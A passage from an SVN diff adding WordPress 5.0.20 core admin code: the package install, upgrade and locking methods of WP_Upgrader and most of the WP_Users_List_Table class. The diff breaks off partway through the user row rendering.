+			// Append children recursively
+			if ( ! empty( $details['files'] ) ) {
+				$children = $this->flatten_dirlist( $details['files'], $path . $name . '/' );
+
+				// Merge keeping possible numeric keys, which array_merge() will reindex from 0..n
+				$files = $files + $children;
+			}
+		}
+
+		return $files;
+	}
+
+	/**
+	 * Clears the directory where this item is going to be installed into.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param string $remote_destination The location on the remote filesystem to be cleared
+	 * @return bool|WP_Error True upon success, WP_Error on failure.
+	 */
+	public function clear_destination( $remote_destination ) {
+		global $wp_filesystem;
+
+		$files = $wp_filesystem->dirlist( $remote_destination, true, true );
+
+		// False indicates that the $remote_destination doesn't exist.
+		if ( false === $files ) {
+			return true;
+		}
+
+		// Flatten the file list to iterate over
+		$files = $this->flatten_dirlist( $files );
+
+		// Check all files are writable before attempting to clear the destination.
+		$unwritable_files = array();
+
+		// Check writability.
+		foreach ( $files as $filename => $file_details ) {
+			if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
+				// Attempt to alter permissions to allow writes and try again.
+				$wp_filesystem->chmod( $remote_destination . $filename, ( 'd' == $file_details['type'] ? FS_CHMOD_DIR : FS_CHMOD_FILE ) );
+				if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
+					$unwritable_files[] = $filename;
+				}
+			}
+		}
+
+		if ( ! empty( $unwritable_files ) ) {
+			return new WP_Error( 'files_not_writable', $this->strings['files_not_writable'], implode( ', ', $unwritable_files ) );
+		}
+
+		if ( ! $wp_filesystem->delete( $remote_destination, true ) ) {
+			return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Install a package.
+	 *
+	 * Copies the contents of a package form a source directory, and installs them in
+	 * a destination directory. Optionally removes the source. It can also optionally
+	 * clear out the destination folder if it already exists.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 * @global array              $wp_theme_directories
+	 *
+	 * @param array|string $args {
+	 *     Optional. Array or string of arguments for installing a package. Default empty array.
+	 *
+	 *     @type string $source                      Required path to the package source. Default empty.
+	 *     @type string $destination                 Required path to a folder to install the package in.
+	 *                                               Default empty.
+	 *     @type bool   $clear_destination           Whether to delete any files already in the destination
+	 *                                               folder. Default false.
+	 *     @type bool   $clear_working               Whether to delete the files form the working directory
+	 *                                               after copying to the destination. Default false.
+	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if
+	 *                                               the destination folder already exists. Default true.
+	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
+	 *                                               WP_Upgrader::install_package(). Default empty array.
+	 * }
+	 *
+	 * @return array|WP_Error The result (also stored in `WP_Upgrader::$result`), or a WP_Error on failure.
+	 */
+	public function install_package( $args = array() ) {
+		global $wp_filesystem, $wp_theme_directories;
+
+		$defaults = array(
+			'source' => '', // Please always pass this
+			'destination' => '', // and this
+			'clear_destination' => false,
+			'clear_working' => false,
+			'abort_if_destination_exists' => true,
+			'hook_extra' => array()
+		);
+
+		$args = wp_parse_args($args, $defaults);
+
+		// These were previously extract()'d.
+		$source = $args['source'];
+		$destination = $args['destination'];
+		$clear_destination = $args['clear_destination'];
+
+		@set_time_limit( 300 );
+
+		if ( empty( $source ) || empty( $destination ) ) {
+			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
+		}
+		$this->skin->feedback( 'installing_package' );
+
+		/**
+		 * Filters the install response before the installation has started.
+		 *
+		 * Returning a truthy value, or one that could be evaluated as a WP_Error
+		 * will effectively short-circuit the installation, returning that value
+		 * instead.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param bool|WP_Error $response   Response.
+		 * @param array         $hook_extra Extra arguments passed to hooked filters.
+		 */
+		$res = apply_filters( 'upgrader_pre_install', true, $args['hook_extra'] );
+
+		if ( is_wp_error( $res ) ) {
+			return $res;
+		}
+
+		//Retain the Original source and destinations
+		$remote_source = $args['source'];
+		$local_destination = $destination;
+
+		$source_files = array_keys( $wp_filesystem->dirlist( $remote_source ) );
+		$remote_destination = $wp_filesystem->find_folder( $local_destination );
+
+		//Locate which directory to copy to the new folder, This is based on the actual folder holding the files.
+		if ( 1 == count( $source_files ) && $wp_filesystem->is_dir( trailingslashit( $args['source'] ) . $source_files[0] . '/' ) ) { //Only one folder? Then we want its contents.
+			$source = trailingslashit( $args['source'] ) . trailingslashit( $source_files[0] );
+		} elseif ( count( $source_files ) == 0 ) {
+			return new WP_Error( 'incompatible_archive_empty', $this->strings['incompatible_archive'], $this->strings['no_files'] ); // There are no files?
+		} else { // It's only a single file, the upgrader will use the folder name of this file as the destination folder. Folder name is based on zip filename.
+			$source = trailingslashit( $args['source'] );
+		}
+
+		/**
+		 * Filters the source file location for the upgrade package.
+		 *
+		 * @since 2.8.0
+		 * @since 4.4.0 The $hook_extra parameter became available.
+		 *
+		 * @param string      $source        File source location.
+		 * @param string      $remote_source Remote file source location.
+		 * @param WP_Upgrader $this          WP_Upgrader instance.
+		 * @param array       $hook_extra    Extra arguments passed to hooked filters.
+		 */
+		$source = apply_filters( 'upgrader_source_selection', $source, $remote_source, $this, $args['hook_extra'] );
+
+		if ( is_wp_error( $source ) ) {
+			return $source;
+		}
+
+		// Has the source location changed? If so, we need a new source_files list.
+		if ( $source !== $remote_source ) {
+			$source_files = array_keys( $wp_filesystem->dirlist( $source ) );
+		}
+
+		/*
+		 * Protection against deleting files in any important base directories.
+		 * Theme_Upgrader & Plugin_Upgrader also trigger this, as they pass the
+		 * destination directory (WP_PLUGIN_DIR / wp-content/themes) intending
+		 * to copy the directory into the directory, whilst they pass the source
+		 * as the actual files to copy.
+		 */
+		$protected_directories = array( ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes' );
+
+		if ( is_array( $wp_theme_directories ) ) {
+			$protected_directories = array_merge( $protected_directories, $wp_theme_directories );
+		}
+
+		if ( in_array( $destination, $protected_directories ) ) {
+			$remote_destination = trailingslashit( $remote_destination ) . trailingslashit( basename( $source ) );
+			$destination = trailingslashit( $destination ) . trailingslashit( basename( $source ) );
+		}
+
+		if ( $clear_destination ) {
+			// We're going to clear the destination if there's something there.
+			$this->skin->feedback('remove_old');
+
+			$removed = $this->clear_destination( $remote_destination );
+
+			/**
+			 * Filters whether the upgrader cleared the destination.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param mixed  $removed            Whether the destination was cleared. true on success, WP_Error on failure
+			 * @param string $local_destination  The local package destination.
+			 * @param string $remote_destination The remote package destination.
+			 * @param array  $hook_extra         Extra arguments passed to hooked filters.
+			 */
+			$removed = apply_filters( 'upgrader_clear_destination', $removed, $local_destination, $remote_destination, $args['hook_extra'] );
+
+			if ( is_wp_error( $removed ) ) {
+				return $removed;
+			}
+		} elseif ( $args['abort_if_destination_exists'] && $wp_filesystem->exists($remote_destination) ) {
+			//If we're not clearing the destination folder and something exists there already, Bail.
+			//But first check to see if there are actually any files in the folder.
+			$_files = $wp_filesystem->dirlist($remote_destination);
+			if ( ! empty($_files) ) {
+				$wp_filesystem->delete($remote_source, true); //Clear out the source files.
+				return new WP_Error('folder_exists', $this->strings['folder_exists'], $remote_destination );
+			}
+		}
+
+		//Create destination if needed
+		if ( ! $wp_filesystem->exists( $remote_destination ) ) {
+			if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
+				return new WP_Error( 'mkdir_failed_destination', $this->strings['mkdir_failed'], $remote_destination );
+			}
+		}
+		// Copy new version of item into place.
+		$result = copy_dir($source, $remote_destination);
+		if ( is_wp_error($result) ) {
+			if ( $args['clear_working'] ) {
+				$wp_filesystem->delete( $remote_source, true );
+			}
+			return $result;
+		}
+
+		//Clear the Working folder?
+		if ( $args['clear_working'] ) {
+			$wp_filesystem->delete( $remote_source, true );
+		}
+
+		$destination_name = basename( str_replace($local_destination, '', $destination) );
+		if ( '.' == $destination_name ) {
+			$destination_name = '';
+		}
+
+		$this->result = compact( 'source', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination' );
+
+		/**
+		 * Filters the installation response after the installation has finished.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param bool  $response   Installation response.
+		 * @param array $hook_extra Extra arguments passed to hooked filters.
+		 * @param array $result     Installation result data.
+		 */
+		$res = apply_filters( 'upgrader_post_install', true, $args['hook_extra'], $this->result );
+
+		if ( is_wp_error($res) ) {
+			$this->result = $res;
+			return $res;
+		}
+
+		//Bombard the calling function will all the info which we've just used.
+		return $this->result;
+	}
+
+	/**
+	 * Run an upgrade/installation.
+	 *
+	 * Attempts to download the package (if it is not a local file), unpack it, and
+	 * install it in the destination folder.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $options {
+	 *     Array or string of arguments for upgrading/installing a package.
+	 *
+	 *     @type string $package                     The full path or URI of the package to install.
+	 *                                               Default empty.
+	 *     @type string $destination                 The full path to the destination folder.
+	 *                                               Default empty.
+	 *     @type bool   $clear_destination           Whether to delete any files already in the
+	 *                                               destination folder. Default false.
+	 *     @type bool   $clear_working               Whether to delete the files form the working
+	 *                                               directory after copying to the destination.
+	 *                                               Default false.
+	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if the destination
+	 *                                               folder already exists. When true, `$clear_destination`
+	 *                                               should be false. Default true.
+	 *     @type bool   $is_multi                    Whether this run is one of multiple upgrade/installation
+	 *                                               actions being performed in bulk. When true, the skin
+	 *                                               WP_Upgrader::header() and WP_Upgrader::footer()
+	 *                                               aren't called. Default false.
+	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
+	 *                                               WP_Upgrader::run().
+	 * }
+	 * @return array|false|WP_error The result from self::install_package() on success, otherwise a WP_Error,
+	 *                              or false if unable to connect to the filesystem.
+	 */
+	public function run( $options ) {
+
+		$defaults = array(
+			'package' => '', // Please always pass this.
+			'destination' => '', // And this
+			'clear_destination' => false,
+			'abort_if_destination_exists' => true, // Abort if the Destination directory exists, Pass clear_destination as false please
+			'clear_working' => true,
+			'is_multi' => false,
+			'hook_extra' => array() // Pass any extra $hook_extra args here, this will be passed to any hooked filters.
+		);
+
+		$options = wp_parse_args( $options, $defaults );
+
+		/**
+		 * Filters the package options before running an update.
+		 *
+		 * See also {@see 'upgrader_process_complete'}.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @param array $options {
+		 *     Options used by the upgrader.
+		 *
+		 *     @type string $package                     Package for update.
+		 *     @type string $destination                 Update location.
+		 *     @type bool   $clear_destination           Clear the destination resource.
+		 *     @type bool   $clear_working               Clear the working resource.
+		 *     @type bool   $abort_if_destination_exists Abort if the Destination directory exists.
+		 *     @type bool   $is_multi                    Whether the upgrader is running multiple times.
+		 *     @type array  $hook_extra {
+		 *         Extra hook arguments.
+		 *
+		 *         @type string $action               Type of action. Default 'update'.
+		 *         @type string $type                 Type of update process. Accepts 'plugin', 'theme', or 'core'.
+		 *         @type bool   $bulk                 Whether the update process is a bulk update. Default true.
+		 *         @type string $plugin               The base plugin path from the plugins directory.
+		 *         @type string $theme                The stylesheet or template name of the theme.
+		 *         @type string $language_update_type The language pack update type. Accepts 'plugin', 'theme',
+		 *                                            or 'core'.
+		 *         @type object $language_update      The language pack update offer.
+		 *     }
+		 * }
+		 */
+		$options = apply_filters( 'upgrader_package_options', $options );
+
+		if ( ! $options['is_multi'] ) { // call $this->header separately if running multiple times
+			$this->skin->header();
+		}
+
+		// Connect to the Filesystem first.
+		$res = $this->fs_connect( array( WP_CONTENT_DIR, $options['destination'] ) );
+		// Mainly for non-connected filesystem.
+		if ( ! $res ) {
+			if ( ! $options['is_multi'] ) {
+				$this->skin->footer();
+			}
+			return false;
+		}
+
+		$this->skin->before();
+
+		if ( is_wp_error($res) ) {
+			$this->skin->error($res);
+			$this->skin->after();
+			if ( ! $options['is_multi'] ) {
+				$this->skin->footer();
+			}
+			return $res;
+		}
+
+		/*
+		 * Download the package (Note, This just returns the filename
+		 * of the file if the package is a local file)
+		 */
+		$download = $this->download_package( $options['package'] );
+		if ( is_wp_error($download) ) {
+			$this->skin->error($download);
+			$this->skin->after();
+			if ( ! $options['is_multi'] ) {
+				$this->skin->footer();
+			}
+			return $download;
+		}
+
+		$delete_package = ( $download != $options['package'] ); // Do not delete a "local" file
+
+		// Unzips the file into a temporary directory.
+		$working_dir = $this->unpack_package( $download, $delete_package );
+		if ( is_wp_error($working_dir) ) {
+			$this->skin->error($working_dir);
+			$this->skin->after();
+			if ( ! $options['is_multi'] ) {
+				$this->skin->footer();
+			}
+			return $working_dir;
+		}
+
+		// With the given options, this installs it to the destination directory.
+		$result = $this->install_package( array(
+			'source' => $working_dir,
+			'destination' => $options['destination'],
+			'clear_destination' => $options['clear_destination'],
+			'abort_if_destination_exists' => $options['abort_if_destination_exists'],
+			'clear_working' => $options['clear_working'],
+			'hook_extra' => $options['hook_extra']
+		) );
+
+		$this->skin->set_result($result);
+		if ( is_wp_error($result) ) {
+			$this->skin->error($result);
+			$this->skin->feedback('process_failed');
+		} else {
+			// Installation succeeded.
+			$this->skin->feedback('process_success');
+		}
+
+		$this->skin->after();
+
+		if ( ! $options['is_multi'] ) {
+
+			/**
+			 * Fires when the upgrader process is complete.
+			 *
+			 * See also {@see 'upgrader_package_options'}.
+			 *
+			 * @since 3.6.0
+			 * @since 3.7.0 Added to WP_Upgrader::run().
+			 * @since 4.6.0 `$translations` was added as a possible argument to `$hook_extra`.
+			 *
+			 * @param WP_Upgrader $this WP_Upgrader instance. In other contexts, $this, might be a
+			 *                          Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
+			 * @param array       $hook_extra {
+			 *     Array of bulk item update data.
+			 *
+			 *     @type string $action       Type of action. Default 'update'.
+			 *     @type string $type         Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'.
+			 *     @type bool   $bulk         Whether the update process is a bulk update. Default true.
+			 *     @type array  $plugins      Array of the basename paths of the plugins' main files.
+			 *     @type array  $themes       The theme slugs.
+			 *     @type array  $translations {
+			 *         Array of translations update data.
+			 *
+			 *         @type string $language The locale the translation is for.
+			 *         @type string $type     Type of translation. Accepts 'plugin', 'theme', or 'core'.
+			 *         @type string $slug     Text domain the translation is for. The slug of a theme/plugin or
+			 *                                'default' for core translations.
+			 *         @type string $version  The version of a theme, plugin, or core.
+			 *     }
+			 * }
+			 */
+			do_action( 'upgrader_process_complete', $this, $options['hook_extra'] );
+
+			$this->skin->footer();
+		}
+
+		return $result;
+	}
+
+	/**
+	 * Toggle maintenance mode for the site.
+	 *
+	 * Creates/deletes the maintenance file to enable/disable maintenance mode.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param bool $enable True to enable maintenance mode, false to disable.
+	 */
+	public function maintenance_mode( $enable = false ) {
+		global $wp_filesystem;
+		$file = $wp_filesystem->abspath() . '.maintenance';
+		if ( $enable ) {
+			$this->skin->feedback('maintenance_start');
+			// Create maintenance file to signal that we are upgrading
+			$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
+			$wp_filesystem->delete($file);
+			$wp_filesystem->put_contents($file, $maintenance_string, FS_CHMOD_FILE);
+		} elseif ( ! $enable && $wp_filesystem->exists( $file ) ) {
+			$this->skin->feedback('maintenance_end');
+			$wp_filesystem->delete($file);
+		}
+	}
+
+	/**
+ 	 * Creates a lock using WordPress options.
+ 	 *
+ 	 * @since 4.5.0
+ 	 * @static
+ 	 *
+ 	 * @param string $lock_name       The name of this unique lock.
+ 	 * @param int    $release_timeout Optional. The duration in seconds to respect an existing lock.
+	 *                                Default: 1 hour.
+ 	 * @return bool False if a lock couldn't be created or if the lock is still valid. True otherwise.
+ 	 */
+	public static function create_lock( $lock_name, $release_timeout = null ) {
+		global $wpdb;
+		if ( ! $release_timeout ) {
+			$release_timeout = HOUR_IN_SECONDS;
+		}
+		$lock_option = $lock_name . '.lock';
+
+		// Try to lock.
+		$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_option, time() ) );
+
+		if ( ! $lock_result ) {
+			$lock_result = get_option( $lock_option );
+
+			// If a lock couldn't be created, and there isn't a lock, bail.
+			if ( ! $lock_result ) {
+				return false;
+			}
+
+			// Check to see if the lock is still valid. If it is, bail.
+			if ( $lock_result > ( time() - $release_timeout ) ) {
+				return false;
+			}
+
+			// There must exist an expired lock, clear it and re-gain it.
+			WP_Upgrader::release_lock( $lock_name );
+
+			return WP_Upgrader::create_lock( $lock_name, $release_timeout );
+		}
+
+		// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
+		update_option( $lock_option, time() );
+
+		return true;
+	}
+
+	/**
+ 	 * Releases an upgrader lock.
+ 	 *
+ 	 * @since 4.5.0
+ 	 * @static
+	 *
+	 * @see WP_Upgrader::create_lock()
+ 	 *
+ 	 * @param string $lock_name The name of this unique lock.
+	 * @return bool True if the lock was successfully released. False on failure.
+ 	 */
+	public static function release_lock( $lock_name ) {
+		return delete_option( $lock_name . '.lock' );
+	}
+
+}
+
+/** Plugin_Upgrader class */
+require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
+
+/** Theme_Upgrader class */
+require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader.php';
+
+/** Language_Pack_Upgrader class */
+require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader.php';
+
+/** Core_Upgrader class */
+require_once ABSPATH . 'wp-admin/includes/class-core-upgrader.php';
+
+/** File_Upload_Upgrader class */
+require_once ABSPATH . 'wp-admin/includes/class-file-upload-upgrader.php';
+
+/** WP_Automatic_Updater class */
+require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-users-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-users-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-users-list-table.php	(revision 56912)
@@ -0,0 +1,584 @@
+<?php
+/**
+ * List Table API: WP_Users_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying users in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_Users_List_Table extends WP_List_Table {
+
+	/**
+	 * Site ID to generate the Users list table for.
+	 *
+	 * @since 3.1.0
+	 * @var int
+	 */
+	public $site_id;
+
+	/**
+	 * Whether or not the current Users list table is for Multisite.
+	 *
+	 * @since 3.1.0
+	 * @var bool
+	 */
+	public $is_site_users;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		parent::__construct( array(
+			'singular' => 'user',
+			'plural'   => 'users',
+			'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$this->is_site_users = 'site-users-network' === $this->screen->id;
+
+		if ( $this->is_site_users )
+			$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+	}
+
+	/**
+	 * Check the current user's permissions.
+	 *
+ 	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		if ( $this->is_site_users )
+			return current_user_can( 'manage_sites' );
+		else
+			return current_user_can( 'list_users' );
+	}
+
+	/**
+	 * Prepare the users list for display.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global string $role
+	 * @global string $usersearch
+	 */
+	public function prepare_items() {
+		global $role, $usersearch;
+
+		$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';
+
+		$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';
+
+		$per_page = ( $this->is_site_users ) ? 'site_users_network_per_page' : 'users_per_page';
+		$users_per_page = $this->get_items_per_page( $per_page );
+
+		$paged = $this->get_pagenum();
+
+		if ( 'none' === $role ) {
+			$args = array(
+				'number' => $users_per_page,
+				'offset' => ( $paged-1 ) * $users_per_page,
+				'include' => wp_get_users_with_no_role( $this->site_id ),
+				'search' => $usersearch,
+				'fields' => 'all_with_meta'
+			);
+		} else {
+			$args = array(
+				'number' => $users_per_page,
+				'offset' => ( $paged-1 ) * $users_per_page,
+				'role' => $role,
+				'search' => $usersearch,
+				'fields' => 'all_with_meta'
+			);
+		}
+
+		if ( '' !== $args['search'] )
+			$args['search'] = '*' . $args['search'] . '*';
+
+		if ( $this->is_site_users )
+			$args['blog_id'] = $this->site_id;
+
+		if ( isset( $_REQUEST['orderby'] ) )
+			$args['orderby'] = $_REQUEST['orderby'];
+
+		if ( isset( $_REQUEST['order'] ) )
+			$args['order'] = $_REQUEST['order'];
+
+		/**
+		 * Filters the query arguments used to retrieve users for the current users list table.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array $args Arguments passed to WP_User_Query to retrieve items for the current
+		 *                    users list table.
+		 */
+		$args = apply_filters( 'users_list_table_query_args', $args );
+
+		// Query the user IDs for this page
+		$wp_user_search = new WP_User_Query( $args );
+
+		$this->items = $wp_user_search->get_results();
+
+		$this->set_pagination_args( array(
+			'total_items' => $wp_user_search->get_total(),
+			'per_page' => $users_per_page,
+		) );
+	}
+
+	/**
+	 * Output 'no users' message.
+	 *
+	 * @since 3.1.0
+	 */
+	public function no_items() {
+		_e( 'No users found.' );
+	}
+
+	/**
+	 * Return an associative array listing all the views that can be used
+	 * with this table.
+	 *
+	 * Provides a list of roles and user count for that role for easy
+	 * Filtersing of the user table.
+	 *
+	 * @since  3.1.0
+	 *
+	 * @global string $role
+	 *
+	 * @return array An array of HTML links, one for each view.
+	 */
+	protected function get_views() {
+		global $role;
+
+		$wp_roles = wp_roles();
+
+		if ( $this->is_site_users ) {
+			$url = 'site-users.php?id=' . $this->site_id;
+			switch_to_blog( $this->site_id );
+			$users_of_blog = count_users( 'time', $this->site_id );
+			restore_current_blog();
+		} else {
+			$url = 'users.php';
+			$users_of_blog = count_users();
+		}
+
+		$total_users = $users_of_blog['total_users'];
+		$avail_roles =& $users_of_blog['avail_roles'];
+		unset($users_of_blog);
+
+		$current_link_attributes = empty( $role ) ? ' class="current" aria-current="page"' : '';
+
+		$role_links = array();
+		$role_links['all'] = "<a href='$url'$current_link_attributes>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>';
+		foreach ( $wp_roles->get_names() as $this_role => $name ) {
+			if ( !isset($avail_roles[$this_role]) )
+				continue;
+
+			$current_link_attributes = '';
+
+			if ( $this_role === $role ) {
+				$current_link_attributes = ' class="current" aria-current="page"';
+			}
+
+			$name = translate_user_role( $name );
+			/* translators: User role name with count */
+			$name = sprintf( __('%1$s <span class="count">(%2$s)</span>'), $name, number_format_i18n( $avail_roles[$this_role] ) );
+			$role_links[$this_role] = "<a href='" . esc_url( add_query_arg( 'role', $this_role, $url ) ) . "'$current_link_attributes>$name</a>";
+		}
+
+		if ( ! empty( $avail_roles['none' ] ) ) {
+
+			$current_link_attributes = '';
+
+			if ( 'none' === $role ) {
+				$current_link_attributes = ' class="current" aria-current="page"';
+			}
+
+			$name = __( 'No role' );
+			/* translators: User role name with count */
+			$name = sprintf( __('%1$s <span class="count">(%2$s)</span>'), $name, number_format_i18n( $avail_roles['none' ] ) );
+			$role_links['none'] = "<a href='" . esc_url( add_query_arg( 'role', 'none', $url ) ) . "'$current_link_attributes>$name</a>";
+
+		}
+
+		return $role_links;
+	}
+
+	/**
+	 * Retrieve an associative array of bulk actions available on this table.
+	 *
+	 * @since  3.1.0
+	 *
+	 * @return array Array of bulk actions.
+	 */
+	protected function get_bulk_actions() {
+		$actions = array();
+
+		if ( is_multisite() ) {
+			if ( current_user_can( 'remove_users' ) )
+				$actions['remove'] = __( 'Remove' );
+		} else {
+			if ( current_user_can( 'delete_users' ) )
+				$actions['delete'] = __( 'Delete' );
+		}
+
+		return $actions;
+	}
+
+	/**
+	 * Output the controls to allow user roles to be changed in bulk.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $which Whether this is being invoked above ("top")
+	 *                      or below the table ("bottom").
+	 */
+	protected function extra_tablenav( $which ) {
+		$id = 'bottom' === $which ? 'new_role2' : 'new_role';
+		$button_id = 'bottom' === $which ? 'changeit2' : 'changeit';
+	?>
+	<div class="alignleft actions">
+		<?php if ( current_user_can( 'promote_users' ) && $this->has_items() ) : ?>
+		<label class="screen-reader-text" for="<?php echo $id ?>"><?php _e( 'Change role to&hellip;' ) ?></label>
+		<select name="<?php echo $id ?>" id="<?php echo $id ?>">
+			<option value=""><?php _e( 'Change role to&hellip;' ) ?></option>
+			<?php wp_dropdown_roles(); ?>
+		</select>
+	<?php
+			submit_button( __( 'Change' ), '', $button_id, false );
+		endif;
+
+		/**
+		 * Fires just before the closing div containing the bulk role-change controls
+		 * in the Users list table.
+		 *
+		 * @since 3.5.0
+		 * @since 4.6.0 The `$which` parameter was added.
+		 *
+		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
+		 */
+		do_action( 'restrict_manage_users', $which );
+	?>
+		</div>
+	<?php
+		/**
+		 * Fires immediately following the closing "actions" div in the tablenav for the users
+		 * list table.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
+		 */
+		do_action( 'manage_users_extra_tablenav', $which );
+	}
+
+	/**
+	 * Capture the bulk action required, and return it.
+	 *
+	 * Overridden from the base class implementation to capture
+	 * the role change drop-down.
+	 *
+	 * @since  3.1.0
+	 *
+	 * @return string The bulk action required.
+	 */
+	public function current_action() {
+		if ( ( isset( $_REQUEST['changeit'] ) || isset( $_REQUEST['changeit2'] ) ) &&
+			( ! empty( $_REQUEST['new_role'] ) || ! empty( $_REQUEST['new_role2'] ) ) ) {
+			return 'promote';
+		}
+
+		return parent::current_action();
+	}
+
+	/**
+	 * Get a list of columns for the list table.
+	 *
+	 * @since  3.1.0
+	 *
+	 * @return array Array in which the key is the ID of the column,
+	 *               and the value is the description.
+	 */
+	public function get_columns() {
+		$c = array(
+			'cb'       => '<input type="checkbox" />',
+			'username' => __( 'Username' ),
+			'name'     => __( 'Name' ),
+			'email'    => __( 'Email' ),
+			'role'     => __( 'Role' ),
+			'posts'    => __( 'Posts' )
+		);
+
+		if ( $this->is_site_users )
+			unset( $c['posts'] );
+
+		return $c;
+	}
+
+	/**
+	 * Get a list of sortable columns for the list table.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return array Array of sortable columns.
+	 */
+	protected function get_sortable_columns() {
+		$c = array(
+			'username' => 'login',
+			'email'    => 'email',
+		);
+
+		return $c;
+	}
+
+	/**
+	 * Generate the list table rows.
+	 *
+	 * @since 3.1.0
+	 */
+	public function display_rows() {
+		// Query the post counts for this page
+		if ( ! $this->is_site_users )
+			$post_counts = count_many_users_posts( array_keys( $this->items ) );
+
+		foreach ( $this->items as $userid => $user_object ) {
+			echo "\n\t" . $this->single_row( $user_object, '', '', isset( $post_counts ) ? $post_counts[ $userid ] : 0 );
+		}
+	}
+
+	/**
+	 * Generate HTML for a single row on the users.php admin panel.
+	 *
+	 * @since 3.1.0
+	 * @since 4.2.0 The `$style` parameter was deprecated.
+	 * @since 4.4.0 The `$role` parameter was deprecated.
+	 *
+	 * @param WP_User $user_object The current user object.
+	 * @param string  $style       Deprecated. Not used.
+	 * @param string  $role        Deprecated. Not used.
+	 * @param int     $numposts    Optional. Post count to display for this user. Defaults
+	 *                             to zero, as in, a new user has made zero posts.
+	 * @return string Output for a single row.
+	 */
+	public function single_row( $user_object, $style = '', $role = '', $numposts = 0 ) {
+		if ( ! ( $user_object instanceof WP_User ) ) {
+			$user_object = get_userdata( (int) $user_object );
+		}
+		$user_object->filter = 'display';
+		$email = $user_object->user_email;
+
+		if ( $this->is_site_users )
+			$url = "site-users.php?id={$this->site_id}&amp;";
+		else
+			$url = 'users.php?';
+
+		$user_roles = $this->get_role_list( $user_object );
+
+		// Set up the hover actions for this user
+		$actions = array();
+		$checkbox = '';
+		$super_admin = '';
+
+		if ( is_multisite() && current_user_can( 'manage_network_users' ) ) {
+			if ( in_array( $user_object->user_login, get_super_admins(), true ) ) {
+				$super_admin = ' &mdash; ' . __( 'Super Admin' );
+			}
+		}
+
+		// Check if the user for this row is editable
+		if ( current_user_can( 'list_users' ) ) {
+			// Set up the user editing link
+			$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_object->ID ) ) );
+
+			if ( current_user_can( 'edit_user',  $user_object->ID ) ) {
+				$edit = "<strong><a href=\"{$edit_link}\">{$user_object->user_login}</a>{$super_admin}</strong><br />";
+				$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
+			} else {
+				$edit = "<strong>{$user_object->user_login}{$super_admin}</strong><br />";
+			}
+
+			if ( !is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'delete_user', $user_object->ID ) )
+				$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "users.php?action=delete&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Delete' ) . "</a>";
+			if ( is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'remove_user', $user_object->ID ) )
